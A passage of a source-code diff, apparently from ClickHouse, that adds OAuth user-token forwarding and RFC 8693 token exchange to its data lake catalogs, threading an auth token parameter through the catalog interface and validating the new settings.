forwarding or an exchange + /// were happening when it is not. + if (!args.create_query.attach) + { + const bool forwarding = database_settings[DatabaseDataLakeSetting::oauth_forward_user_token].value; + static constexpr std::array exchange_only_settings = { + "oauth_token_exchange_uri", + "oauth_subject_token_type", + "oauth_requested_token_type", + "oauth_forward_actor_token", + "oauth_user_token_cache_ttl", + }; + + const SettingsChanges changed = database_settings.allChanged(); + auto is_changed = [&](std::string_view name) + { + return std::any_of(changed.begin(), changed.end(), [&](const auto & change) { return std::string_view(change.name) == name; }); + }; + + if (!forwarding) + { + for (const auto & name : exchange_only_settings) + if (is_changed(name)) + throw Exception( + ErrorCodes::BAD_ARGUMENTS, + "`{}` has no effect without `oauth_forward_user_token = 1`", name); + } + else if (database_settings[DatabaseDataLakeSetting::oauth_token_exchange_uri].value.empty()) + { + for (const auto & name : exchange_only_settings) + { + if (name == "oauth_token_exchange_uri") + continue; + if (is_changed(name)) + throw Exception( + ErrorCodes::BAD_ARGUMENTS, + "`{}` has no effect without `oauth_token_exchange_uri`: without it the " + "user's token is forwarded unchanged and no token exchange happens", name); + } + } + } + auto catalog_type = database_settings[DB::DatabaseDataLakeSetting::catalog_type].value; /// Glue catalog is one per region, so it's fully identified by aws keys and region /// There is no URL you need to provide in constructor, even if we would want it diff --git a/src/Databases/DataLake/DatabaseDataLake.h b/src/Databases/DataLake/DatabaseDataLake.h index fc67aad2b133..22947a4039a2 100644 --- a/src/Databases/DataLake/DatabaseDataLake.h +++ b/src/Databases/DataLake/DatabaseDataLake.h @@ -3,6 +3,7 @@ #if USE_AVRO && USE_PARQUET +#include #include #include #include @@ -92,6 +93,13 @@ class DatabaseDataLake final : public IDatabase, WithContext void validateSettings(); + /// Rejects `oauth_forward_user_token` combinations that could not be honoured, or that would + /// be silently ignored. Runs on CREATE and on ATTACH. + void validateTokenForwardingSettings() const; + + /// The token carried by a query context, or `{}` when there is none (or no context at all). + static DB::ForwardedAuthTokenPtr getForwardedAuthToken(const ContextPtr & context_); + /// Builds `catalog_impl` based on the configured catalog type. Constructing a catalog can /// validate credentials and perform network I/O (e.g. RestCatalog reads the catalog config), /// so on ATTACH (server startup) it is deferred to the first access via `getCatalog` instead diff --git a/src/Databases/DataLake/DatabaseDataLakeSettings.cpp b/src/Databases/DataLake/DatabaseDataLakeSettings.cpp index b4cf78f25a33..37682691061c 100644 --- a/src/Databases/DataLake/DatabaseDataLakeSettings.cpp +++ b/src/Databases/DataLake/DatabaseDataLakeSettings.cpp @@ -25,6 +25,12 @@ namespace ErrorCodes DECLARE(String, auth_scope, "PRINCIPAL_ROLE:ALL", "Authorization scope for client credentials or token exchange", 0) \ DECLARE(String, oauth_server_uri, "", "OAuth server uri", 0) \ DECLARE(Bool, oauth_server_use_request_body, true, "Put parameters into request body or query params", 0) \ + DECLARE(Bool, oauth_forward_user_token, false, "Authenticate to the catalog as the user running the query instead of as the shared service principal configured by `catalog_credential`. On its own this forwards the user's own bearer token unchanged (passthrough); set `oauth_token_exchange_uri` to exchange it first. Requires the server-level `enable_token_forwarding` setting and an Iceberg REST catalog", 0) \ + DECLARE(String, oauth_token_exchange_uri, "", "Empty means passthrough: the user's token is presented to the catalog as-is. Non-empty switches to an RFC 8693 token exchange against this URL - point it at the IdP's token endpoint to obtain a token whose audience the catalog accepts, or at a catalog's `/v1/oauth/tokens` (which the Iceberg REST spec deprecates for removal). Requires `oauth_forward_user_token` and a non-empty `catalog_credential`", 0) \ + DECLARE(String, oauth_subject_token_type, "urn:ietf:params:oauth:token-type:access_token", "RFC 8693 `subject_token_type` of the forwarded user token. Used only when `oauth_token_exchange_uri` is set", 0) \ + DECLARE(String, oauth_requested_token_type, "urn:ietf:params:oauth:token-type:access_token", "RFC 8693 `requested_token_type`; empty omits the field. Used only when `oauth_token_exchange_uri` is set", 0) \ + DECLARE(Bool, oauth_forward_actor_token, false, "Send the catalog service principal's own token as the RFC 8693 `actor_token`, giving delegation semantics (`sub=user, act=clickhouse`). Only meaningful against a server that can validate it - an IdP cannot. Used only when `oauth_token_exchange_uri` is set", 0) \ + DECLARE(UInt64, oauth_user_token_cache_ttl, 300, "Maximum lifetime (in seconds) of a cached per-user session token obtained by token exchange; '0' disables caching. Used only when `oauth_token_exchange_uri` is set", 0) \ DECLARE(String, warehouse, "", "Warehouse name inside the catalog", 0) \ DECLARE(String, auth_header, "", "Authorization header of format 'Authorization: '", 0) \ DECLARE(String, aws_access_key_id, "", "Key for AWS connection for Glue catalog", 0) \ diff --git a/src/Databases/DataLake/GlueCatalog.cpp b/src/Databases/DataLake/GlueCatalog.cpp index a9cbb54e05f3..43cdbe3f1225 100644 --- a/src/Databases/DataLake/GlueCatalog.cpp +++ b/src/Databases/DataLake/GlueCatalog.cpp @@ -305,7 +305,7 @@ DB::Names GlueCatalog::getTablesForDatabase(const std::string & db_name, size_t return result; } -DB::Names GlueCatalog::getTables() const +DB::Names GlueCatalog::getTables(const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { auto databases = getDatabases(""); DB::Names result; @@ -317,7 +317,7 @@ DB::Names GlueCatalog::getTables() const return result; } -bool GlueCatalog::existsTable(const std::string & database_name, const std::string & table_name) const +bool GlueCatalog::existsTable(const std::string & database_name, const std::string & table_name, const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { if (!isNamespaceAllowed(database_name)) throw DB::Exception(DB::ErrorCodes::CATALOG_NAMESPACE_DISABLED, "Namespace {} is filtered by `namespaces` database parameter", database_name); @@ -487,7 +487,8 @@ void GlueCatalog::setCredentials(TableMetadata & metadata) const } } -ICatalog::CredentialsRefreshCallback GlueCatalog::getCredentialsConfigurationCallback(const DB::StorageID & storage_id) +ICatalog::CredentialsRefreshCallback GlueCatalog::getCredentialsConfigurationCallback( + const DB::StorageID & storage_id, const DB::ForwardedAuthTokenPtr & /*auth_token*/) { /// The AWS SDK credentials provider chain (instance profile, STS assume-role, /// web-identity, etc.) refreshes its cached credentials internally before @@ -508,7 +509,7 @@ ICatalog::CredentialsRefreshCallback GlueCatalog::getCredentialsConfigurationCal }; } -bool GlueCatalog::empty() const +bool GlueCatalog::empty(const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { auto all_databases = getDatabases(""); for (const auto & db : all_databases) @@ -640,7 +641,7 @@ String GlueCatalog::resolveMetadataPathFromTableLocation(const String & table_lo } } -void GlueCatalog::createNamespaceIfNotExists(const String & namespace_name, const String & /*location*/) const +void GlueCatalog::createNamespaceIfNotExists(const String & namespace_name, const String & /*location*/, const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { Aws::Glue::Model::CreateDatabaseRequest create_request; Aws::Glue::Model::DatabaseInput db_input; @@ -659,7 +660,7 @@ void GlueCatalog::createNamespaceIfNotExists(const String & namespace_name, cons } } -void GlueCatalog::createTable(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr /*metadata_content*/) const +void GlueCatalog::createTable(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr /*metadata_content*/, const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { if (!isNamespaceAllowed(namespace_name)) throw DB::Exception(DB::ErrorCodes::CATALOG_NAMESPACE_DISABLED, @@ -703,7 +704,7 @@ void GlueCatalog::createTable(const String & namespace_name, const String & tabl throw DB::Exception(DB::ErrorCodes::DATALAKE_DATABASE_ERROR, "Can not create metadata in glue catalog: {}", response.GetError().GetMessage()); } -bool GlueCatalog::updateMetadata(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr /*new_snapshot*/) const +bool GlueCatalog::updateMetadata(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr /*new_snapshot*/, const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { Aws::Glue::Model::UpdateTableRequest request; request.SetDatabaseName(namespace_name); @@ -753,12 +754,13 @@ bool GlueCatalog::updateSchema( Poco::JSON::Object::Ptr /*new_schema*/, Int32 /*previous_schema_id*/, Int32 /*new_last_column_id*/, - Poco::JSON::Object::Ptr /*metadata*/) const + Poco::JSON::Object::Ptr /*metadata*/, + const DB::ForwardedAuthTokenPtr & auth_token) const { - return updateMetadata(namespace_name, table_name, new_metadata_path, nullptr); + return updateMetadata(namespace_name, table_name, new_metadata_path, nullptr, auth_token); } -void GlueCatalog::dropTable(const String & namespace_name, const String & table_name) const +void GlueCatalog::dropTable(const String & namespace_name, const String & table_name, const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { if (!isNamespaceAllowed(namespace_name)) throw DB::Exception(DB::ErrorCodes::CATALOG_NAMESPACE_DISABLED, diff --git a/src/Databases/DataLake/GlueCatalog.h b/src/Databases/DataLake/GlueCatalog.h index 4d7a1bb1fc9c..2f601245d704 100644 --- a/src/Databases/DataLake/GlueCatalog.h +++ b/src/Databases/DataLake/GlueCatalog.h @@ -37,11 +37,12 @@ class GlueCatalog final : public ICatalog, private DB::WithContext ~GlueCatalog() override; - bool empty() const override; + /// AWS SigV4, not OAuth: the user's token is accepted and ignored. + bool empty(const DB::ForwardedAuthTokenPtr & auth_token) const override; - DB::Names getTables() const override; + DB::Names getTables(const DB::ForwardedAuthTokenPtr & auth_token) const override; - bool existsTable(const std::string & database_name, const std::string & table_name) const override; + bool existsTable(const std::string & database_name, const std::string & table_name, const DB::ForwardedAuthTokenPtr & auth_token) const override; void getTableMetadata( const std::string & database_name, @@ -66,11 +67,11 @@ class GlueCatalog final : public ICatalog, private DB::WithContext return DB::DatabaseDataLakeCatalogType::GLUE; } - void createTable(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr metadata_content) const override; + void createTable(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr metadata_content, const DB::ForwardedAuthTokenPtr & auth_token) const override; - void createNamespaceIfNotExists(const String & namespace_name, const String & location) const override; + void createNamespaceIfNotExists(const String & namespace_name, const String & location, const DB::ForwardedAuthTokenPtr & auth_token) const override; - bool updateMetadata(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr new_snapshot) const override; + bool updateMetadata(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr new_snapshot, const DB::ForwardedAuthTokenPtr & auth_token) const override; bool updateSchema( const String & namespace_name, @@ -79,15 +80,17 @@ class GlueCatalog final : public ICatalog, private DB::WithContext Poco::JSON::Object::Ptr new_schema, Int32 previous_schema_id, Int32 new_last_column_id, - Poco::JSON::Object::Ptr metadata = nullptr) const override; + Poco::JSON::Object::Ptr metadata, + const DB::ForwardedAuthTokenPtr & auth_token) const override; - void dropTable(const String & namespace_name, const String & table_name) const override; + void dropTable(const String & namespace_name, const String & table_name, const DB::ForwardedAuthTokenPtr & auth_token) const override; /// Returns a callback that re-vends fresh AWS credentials from the configured /// credentials provider chain. Invoked by `ReadBufferFromS3` when an S3 call /// fails with `ExpiredToken`, so that a long-running read can recover without /// the user having to restart the query. - ICatalog::CredentialsRefreshCallback getCredentialsConfigurationCallback(const DB::StorageID & storage_id) override; + ICatalog::CredentialsRefreshCallback getCredentialsConfigurationCallback( + const DB::StorageID & storage_id, const DB::ForwardedAuthTokenPtr & auth_token) override; /// Resolves the precise Iceberg timestamp type for `column_name` by searching the current schema /// in the Iceberg `metadata_object`. Falls back to `"timestamp_ns"` when `glue_column_type` is diff --git a/src/Databases/DataLake/HiveCatalog.cpp b/src/Databases/DataLake/HiveCatalog.cpp index 5170e45171df..09aaf3817a60 100644 --- a/src/Databases/DataLake/HiveCatalog.cpp +++ b/src/Databases/DataLake/HiveCatalog.cpp @@ -141,7 +141,7 @@ void HiveCatalog::executeWithRetry(Func && func) const DB::ErrorCodes::NO_HIVEMETASTORE, "Hive Metastore connection failed after {} attempts. Last error: {}", max_retries, last_err_msg); } -bool HiveCatalog::empty() const +bool HiveCatalog::empty(const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { fiu_do_on(DB::FailPoints::check_database_datalake_negative, { @@ -154,7 +154,7 @@ bool HiveCatalog::empty() const return result.empty(); } -DB::Names HiveCatalog::getTables() const +DB::Names HiveCatalog::getTables(const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { DB::Names result; DB::Names databases; @@ -171,7 +171,7 @@ DB::Names HiveCatalog::getTables() const return result; } -bool HiveCatalog::existsTable(const std::string & namespace_name, const std::string & table_name) const +bool HiveCatalog::existsTable(const std::string & namespace_name, const std::string & table_name, const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { Apache::Hadoop::Hive::Table table; diff --git a/src/Databases/DataLake/HiveCatalog.h b/src/Databases/DataLake/HiveCatalog.h index d626b73c3871..fa4f56b6975e 100644 --- a/src/Databases/DataLake/HiveCatalog.h +++ b/src/Databases/DataLake/HiveCatalog.h @@ -32,11 +32,12 @@ class HiveCatalog final : public ICatalog, private DB::WithContext ~HiveCatalog() override = default; - bool empty() const override; + /// Thrift Hive Metastore: no bearer token to forward, so the parameter is accepted and ignored. + bool empty(const DB::ForwardedAuthTokenPtr & auth_token) const override; - DB::Names getTables() const override; + DB::Names getTables(const DB::ForwardedAuthTokenPtr & auth_token) const override; - bool existsTable(const std::string & namespace_name, const std::string & table_name) const override; + bool existsTable(const std::string & namespace_name, const std::string & table_name, const DB::ForwardedAuthTokenPtr & auth_token) const override; void getTableMetadata( const std::string & namespace_name, diff --git a/src/Databases/DataLake/ICatalog.cpp b/src/Databases/DataLake/ICatalog.cpp index ddeeaa25afbf..18353f88a0d1 100644 --- a/src/Databases/DataLake/ICatalog.cpp +++ b/src/Databases/DataLake/ICatalog.cpp @@ -341,17 +341,17 @@ DB::SettingsChanges CatalogSettings::allChanged() const return changes; } -void ICatalog::createTable(const String & /*namespace_name*/, const String & /*table_name*/, const String & /*new_metadata_path*/, Poco::JSON::Object::Ptr /*metadata_content*/) const +void ICatalog::createTable(const String & /*namespace_name*/, const String & /*table_name*/, const String & /*new_metadata_path*/, Poco::JSON::Object::Ptr /*metadata_content*/, const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { throw DB::Exception(DB::ErrorCodes::NOT_IMPLEMENTED, "createTable is not implemented"); } -void ICatalog::createNamespaceIfNotExists(const String & /*namespace_name*/, const String & /*location*/) const +void ICatalog::createNamespaceIfNotExists(const String & /*namespace_name*/, const String & /*location*/, const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { throw DB::Exception(DB::ErrorCodes::NOT_IMPLEMENTED, "createNamespaceIfNotExists is not implemented"); } -bool ICatalog::updateMetadata(const String & /*namespace_name*/, const String & /*table_name*/, const String & /*new_metadata_path*/, Poco::JSON::Object::Ptr /*new_snapshot*/) const +bool ICatalog::updateMetadata(const String & /*namespace_name*/, const String & /*table_name*/, const String & /*new_metadata_path*/, Poco::JSON::Object::Ptr /*new_snapshot*/, const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { throw DB::Exception(DB::ErrorCodes::NOT_IMPLEMENTED, "updateMetadata is not implemented"); } @@ -363,12 +363,13 @@ bool ICatalog::updateSchema( Poco::JSON::Object::Ptr /*new_schema*/, Int32 /*previous_schema_id*/, Int32 /*new_last_column_id*/, - Poco::JSON::Object::Ptr /*metadata*/) const + Poco::JSON::Object::Ptr /*metadata*/, + const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { throw DB::Exception(DB::ErrorCodes::NOT_IMPLEMENTED, "updateSchema is not implemented"); } -void ICatalog::dropTable(const String & /*namespace_name*/, const String & /*table_name*/) const +void ICatalog::dropTable(const String & /*namespace_name*/, const String & /*table_name*/, const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { throw DB::Exception(DB::ErrorCodes::NOT_IMPLEMENTED, "dropTable is not implemented"); } diff --git a/src/Databases/DataLake/ICatalog.h b/src/Databases/DataLake/ICatalog.h index 9cb18c15177b..f8e75f76de9e 100644 --- a/src/Databases/DataLake/ICatalog.h +++ b/src/Databases/DataLake/ICatalog.h @@ -1,5 +1,6 @@ #pragma once #include +#include #include #include #include @@ -179,17 +180,28 @@ class ICatalog virtual DB::DatabaseDataLakeCatalogType getCatalogType() const = 0; virtual ~ICatalog() = default; + /// Every method takes the token of the user on whose behalf the catalog is contacted, so that + /// a catalog which forwards it (currently only `RestCatalog`) authenticates as that user + /// instead of as the shared service principal. The parameter is deliberately mandatory: a + /// default argument on a virtual resolves by static type and would let a call site silently + /// leave a request on the service-principal path. `getTableMetadata`/`tryGetTableMetadata` + /// already take a `ContextPtr` and extract the token from it instead, so there is exactly one + /// internal representation. Catalogs that cannot forward accept the token and ignore it, which + /// makes "this catalog does not forward" visible rather than implicit -- see + /// `supportsUserTokenForwarding`. + /// Does catalog have any tables? - virtual bool empty() const = 0; + virtual bool empty(const DB::ForwardedAuthTokenPtr & auth_token) const = 0; /// Fetch tables' names list. /// Contains full namespaces in names. - virtual DB::Names getTables() const = 0; + virtual DB::Names getTables(const DB::ForwardedAuthTokenPtr & auth_token) const = 0; /// Check that a table exists in a given namespace. virtual bool existsTable( const std::string & namespace_naem, - const std::string & table_name) const = 0; + const std::string & table_name, + const DB::ForwardedAuthTokenPtr & auth_token) const = 0; /// Get table metadata in the given namespace. /// Throw exception if table does not exist. @@ -214,13 +226,13 @@ class ICatalog /// Creates new table in catalog. Callers must ensure the namespace exists before /// writing any table files to storage: a catalog that shares its storage view with /// the data refuses to create a namespace over a plain directory those files create. - virtual void createTable(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr metadata_content) const; + virtual void createTable(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr metadata_content, const DB::ForwardedAuthTokenPtr & auth_token) const; /// Creates the namespace unless it already exists. - virtual void createNamespaceIfNotExists(const String & namespace_name, const String & location) const; + virtual void createNamespaceIfNotExists(const String & namespace_name, const String & location, const DB::ForwardedAuthTokenPtr & auth_token) const; /// Updates metadata in catalog. - virtual bool updateMetadata(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr new_snapshot) const; + virtual bool updateMetadata(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr new_snapshot, const DB::ForwardedAuthTokenPtr & auth_token) const; /// Commit a schema evolution (ADD/DROP/MODIFY/RENAME COLUMN) to the catalog. /// `new_metadata_path` is the path of the freshly written `vN.metadata.json`; it is used by @@ -236,10 +248,11 @@ class ICatalog Poco::JSON::Object::Ptr new_schema, Int32 previous_schema_id, Int32 new_last_column_id, - Poco::JSON::Object::Ptr metadata = nullptr) const; + Poco::JSON::Object::Ptr metadata, + const DB::ForwardedAuthTokenPtr & auth_token) const; /// Drop table from catalog. - virtual void dropTable(const String & namespace_name, const String & table_name) const; + virtual void dropTable(const String & namespace_name, const String & table_name, const DB::ForwardedAuthTokenPtr & auth_token) const; /// Does the catalog support transactions or anything like that? /// For example, the Iceberg REST catalog supports atomic operations "compare if snapshot X is equal to" and "add new snapshot Y". @@ -247,11 +260,20 @@ class ICatalog /// The Glue catalog does not support such operation. virtual bool isTransactional() const { return false; } - virtual CredentialsRefreshCallback getCredentialsConfigurationCallback(const DB::StorageID & /*storage_id*/) + /// The returned lambda is stored inside the object storage and invoked off-stack, long after + /// the query context is gone, so it captures the `ForwardedAuthTokenPtr` by value: a captured + /// `ContextPtr` would pin the whole query context for the storage's lifetime. + virtual CredentialsRefreshCallback getCredentialsConfigurationCallback( + const DB::StorageID & /*storage_id*/, const DB::ForwardedAuthTokenPtr & /*auth_token*/) { return std::nullopt; } + /// Whether this catalog can authenticate as the querying user rather than as the configured + /// service principal. Only the Iceberg REST catalog can; validation uses this to reject + /// `oauth_forward_user_token` for catalog types that would silently ignore it. + virtual bool supportsUserTokenForwarding() const { return false; } + virtual void setVendedCredentialsCacheTTL(std::chrono::seconds /*ttl*/) {} /// Result of `prepareSettingsChanges`: the new catalog state built off to the side, diff --git a/src/Databases/DataLake/PaimonRestCatalog.cpp b/src/Databases/DataLake/PaimonRestCatalog.cpp index cffce96f082d..2108a143c0d1 100644 --- a/src/Databases/DataLake/PaimonRestCatalog.cpp +++ b/src/Databases/DataLake/PaimonRestCatalog.cpp @@ -413,7 +413,7 @@ void PaimonRestCatalog::forEachTables( } -bool PaimonRestCatalog::empty() const +bool PaimonRestCatalog::empty(const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { DB::Strings databases; DB::Names tables; @@ -427,7 +427,7 @@ bool PaimonRestCatalog::empty() const return tables.empty(); } -DB::Names PaimonRestCatalog::getTables() const +DB::Names PaimonRestCatalog::getTables(const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { DB::Strings databases; DB::Names tables; @@ -436,7 +436,7 @@ DB::Names PaimonRestCatalog::getTables() const return tables; } -bool PaimonRestCatalog::existsTable(const String & database_name, const String & table_name) const +bool PaimonRestCatalog::existsTable(const String & database_name, const String & table_name, const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { try { diff --git a/src/Databases/DataLake/PaimonRestCatalog.h b/src/Databases/DataLake/PaimonRestCatalog.h index 9aab6b815bdf..ccff9da0e48b 100644 --- a/src/Databases/DataLake/PaimonRestCatalog.h +++ b/src/Databases/DataLake/PaimonRestCatalog.h @@ -82,11 +82,12 @@ class PaimonRestCatalog final : public ICatalog, private DB::WithContext ~PaimonRestCatalog() override = default; - bool empty() const override; + /// Paimon REST authenticates with a DLF token of its own; the user's token is ignored. + bool empty(const DB::ForwardedAuthTokenPtr & auth_token) const override; - DB::Names getTables() const override; + DB::Names getTables(const DB::ForwardedAuthTokenPtr & auth_token) const override; - bool existsTable(const String & database_name, const String & table_name) const override; + bool existsTable(const String & database_name, const String & table_name, const DB::ForwardedAuthTokenPtr & auth_token) const override; void getTableMetadata(const String & database_name, const String & table_name, DB::ContextPtr context_, TableMetadata & result) const override; diff --git a/src/Databases/DataLake/RestCatalog.cpp b/src/Databases/DataLake/RestCatalog.cpp index 1247222ce654..f5c01333f714 100644 --- a/src/Databases/DataLake/RestCatalog.cpp +++ b/src/Databases/DataLake/RestCatalog.cpp @@ -1,6 +1,8 @@ #include #include #include +#include +#include #include #include #include @@ -70,6 +72,7 @@ namespace DB::ErrorCodes extern const int FAULT_INJECTED; extern const int NOT_IMPLEMENTED; extern const int CATALOG_NAMESPACE_DISABLED; + extern const int CATALOG_USER_TOKEN_NOT_AVAILABLE; } namespace DB::Setting @@ -88,6 +91,12 @@ namespace ProfileEvents { extern const Event DataLakeRestCatalogCredentialsVended; extern const Event DataLakeRestCatalogCredentialsCacheHits; + extern const Event DataLakeRestCatalogCredentialsCacheMisses; + extern const Event DataLakeRestCatalogTokenExchange; + extern const Event DataLakeRestCatalogTokenExchangeMicroseconds; + extern const Event DataLakeRestCatalogTokenExchangeFailures; + extern const Event DataLakeRestCatalogUserTokenCacheHits; + extern const Event DataLakeRestCatalogClientCredentialsGrants; extern const Event DataLakeRestCatalogLoadConfig; extern const Event DataLakeRestCatalogLoadConfigMicroseconds; extern const Event DataLakeRestCatalogGetNamespaces; @@ -112,6 +121,12 @@ namespace ProfileEvents extern const Event DataLakeRestCatalogDropTableMicroseconds; } +namespace CurrentMetrics +{ + extern const Metric DataLakeCatalogUserTokenCacheBytes; + extern const Metric DataLakeCatalogUserTokenCacheEntries; +} + namespace DB::DatabaseDataLakeSetting { extern const DatabaseDataLakeSettingsString catalog_credential; @@ -172,6 +187,20 @@ DB::HTTPHeaderEntry parseAuthHeader(const std::string & auth_header) return DB::HTTPHeaderEntry(auth_header.substr(0, pos), auth_header.substr(pos + 1)); } +/// Percent-encodes one `application/x-www-form-urlencoded` value. +/// +/// `Poco::URI::encode(str, reserved, out)` takes the set of *reserved characters* as its second +/// argument; passing the value itself (as the pre-existing `client_credentials` path did) makes +/// every character of the value reserved and therefore escapes all of them. That is accidentally +/// safe but would triple the size of a 4 KB JWT, so the exchange, which carries exactly such a +/// value, encodes properly. +std::string formUrlEncode(const std::string & value) +{ + std::string encoded; + Poco::URI::encode(value, "!$&'()*+,;=:@/?", encoded); + return encoded; +} + std::string correctAPIURI(const std::string & uri) { if (uri.ends_with("v1")) @@ -453,7 +482,8 @@ RestCatalog::RestCatalog( const std::string & oauth_server_uri_, bool oauth_server_use_request_body_, const std::string & namespaces_, - DB::ContextPtr context_) + DB::ContextPtr context_, + const TokenForwardingConfig & token_forwarding_) : ICatalog(warehouse_) , DB::WithContext(context_) , base_url(correctAPIURI(base_url_)) @@ -461,6 +491,11 @@ RestCatalog::RestCatalog( , auth_scope(auth_scope_) , oauth_server_uri(oauth_server_uri_) , oauth_server_use_request_body(oauth_server_use_request_body_) + , token_forwarding(token_forwarding_) + , user_token_cache( + CurrentMetrics::DataLakeCatalogUserTokenCacheBytes, + CurrentMetrics::DataLakeCatalogUserTokenCacheEntries, + user_token_cache_max_entries) , allowed_namespaces(namespaces_) { CatalogState initial_state; @@ -474,7 +509,17 @@ RestCatalog::RestCatalog( initial_state.auth_header = parseAuthHeader(auth_header_); validateAuthHeaders(initial_state.auth_header.value()); } - initial_state.config = loadConfig(initial_state); + + /// Without forwarding, `/v1/config` is fetched here exactly as before. With forwarding there + /// may be no service credential at all, so an unauthenticated `GET /v1/config` would be + /// rejected by a secured catalog. Defer it to the first user query instead -- the database is + /// built lazily anyway, and `/v1/config` returns only `prefix` and `default-base-location`, + /// so either identity is appropriate. + if (!token_forwarding.forward_user_token) + { + initial_state.config = loadConfig(initial_state, /* auth_token */ {}); + initial_state.config_loaded = true; + } state.set(std::make_unique(std::move(initial_state))); } @@ -493,12 +538,35 @@ RestCatalog::RestCatalog( , auth_scope(auth_scope_) , oauth_server_uri(oauth_server_uri_) , oauth_server_use_request_body(oauth_server_use_request_body_) + , user_token_cache( + CurrentMetrics::DataLakeCatalogUserTokenCacheBytes, + CurrentMetrics::DataLakeCatalogUserTokenCacheEntries, + user_token_cache_max_entries) , allowed_namespaces(namespaces_) { } -RestCatalog::Config RestCatalog::loadConfig(const CatalogState & catalog_state, const std::optional & auth_headers) +void RestCatalog::loadConfigIfNeeded(const DB::ForwardedAuthTokenPtr & auth_token) const +{ + if (state.get()->config_loaded) + return; + + std::lock_guard lock(config_mutex); + const auto old_state = state.get(); + if (old_state->config_loaded) + return; + + auto new_state = std::make_unique(*old_state); + new_state->config = loadConfig(*old_state, auth_token); + new_state->config_loaded = true; + state.set(std::move(new_state)); +} + +RestCatalog::Config RestCatalog::loadConfig( + const CatalogState & catalog_state, + const DB::ForwardedAuthTokenPtr & auth_token, + const std::optional & auth_headers) const { Poco::URI::QueryParameters params = {{"warehouse", warehouse}}; @@ -507,7 +575,7 @@ RestCatalog::Config RestCatalog::loadConfig(const CatalogState & catalog_state, { ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogLoadConfig); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogLoadConfigMicroseconds); - auto buf = createReadBuffer(catalog_state, CONFIG_ENDPOINT, params, /* headers */{}, auth_headers); + auto buf = createReadBuffer(catalog_state, CONFIG_ENDPOINT, auth_token, params, /* headers */{}, auth_headers); readJSONObjectPossiblyInvalid(json_str, *buf); } @@ -553,31 +621,39 @@ void RestCatalog::validateAuthHeaders(const DB::HTTPHeaderEntry & header) const getContext()->getGlobalContext()->getHTTPHeaderFilter().checkAndNormalizeHeaders(header_to_check); } -DB::HTTPHeaderEntries RestCatalog::getAuthHeaders( - const CatalogState & catalog_state, - bool update_token, - const String & /*method*/, - const Poco::URI & /*url*/, - const DB::HTTPHeaderEntries & /*extra_headers*/, - const String & /*body*/, - bool * used_cached_oauth_token) const +DB::HTTPHeaderEntries RestCatalog::getAuthHeaders(const AuthContext & auth_context) const { fiu_do_on(DB::FailPoints::check_database_datalake_negative, { throw DB::Exception(DB::ErrorCodes::FAULT_INJECTED, "Injecting fault when checking database"); }); - if (used_cached_oauth_token) - *used_cached_oauth_token = false; + if (auth_context.used_cached_oauth_token) + *auth_context.used_cached_oauth_token = false; + + const auto & catalog_state = auth_context.catalog_state; /// Option 1: user specified auth header manually. /// Header has format: 'Authorization: '. + /// Mutually exclusive with forwarding -- `validateSettings` rejects the combination, because + /// a static header short-circuits everything below and would silently defeat forwarding. if (catalog_state.auth_header.has_value()) { return DB::HTTPHeaderEntries{catalog_state.auth_header.value()}; } - /// Option 2: user provided grant_type, client_id and client_secret. + /// Option 2: forward the querying user's identity, either as-is (passthrough) or as the + /// session token obtained by exchanging it. Never falls back to Option 3: doing so would turn + /// an authorization failure into a query that succeeds under the wrong identity. + if (token_forwarding.forward_user_token) + { + DB::HTTPHeaderEntries headers; + headers.emplace_back( + "Authorization", "Bearer " + getForwardedToken(catalog_state, auth_context.auth_token, auth_context.update_token)); + return headers; + } + + /// Option 3: user provided grant_type, client_id and client_secret. /// We would make OAuthClientCredentialsRequest /// https://github.com/apache/iceberg/blob/3badfe0c1fcf0c0adfc7aa4a10f0b50365c48cf9/open-api/rest-catalog-open-api.yaml#L3498C5-L3498C34 if (!catalog_state.client_id.empty()) @@ -587,14 +663,14 @@ DB::HTTPHeaderEntries RestCatalog::getAuthHeaders( /// request fails with 401/403 and is retried with `update_token = true`, fetching /// a token with the snapshot's credentials. auto current = access_token.get(); - if (!current || update_token || current->isExpired()) + if (!current || auth_context.update_token || current->isExpired()) { access_token.set(std::make_unique(retrieveAccessToken(catalog_state.client_id, catalog_state.client_secret))); current = access_token.get(); } - else if (used_cached_oauth_token) + else if (auth_context.used_cached_oauth_token) { - *used_cached_oauth_token = true; + *auth_context.used_cached_oauth_token = true; } DB::HTTPHeaderEntries headers; @@ -604,6 +680,108 @@ DB::HTTPHeaderEntries RestCatalog::getAuthHeaders( return {}; } +String RestCatalog::getForwardedToken( + const CatalogState & catalog_state, const DB::ForwardedAuthTokenPtr & auth_token, bool update_token) const +{ + if 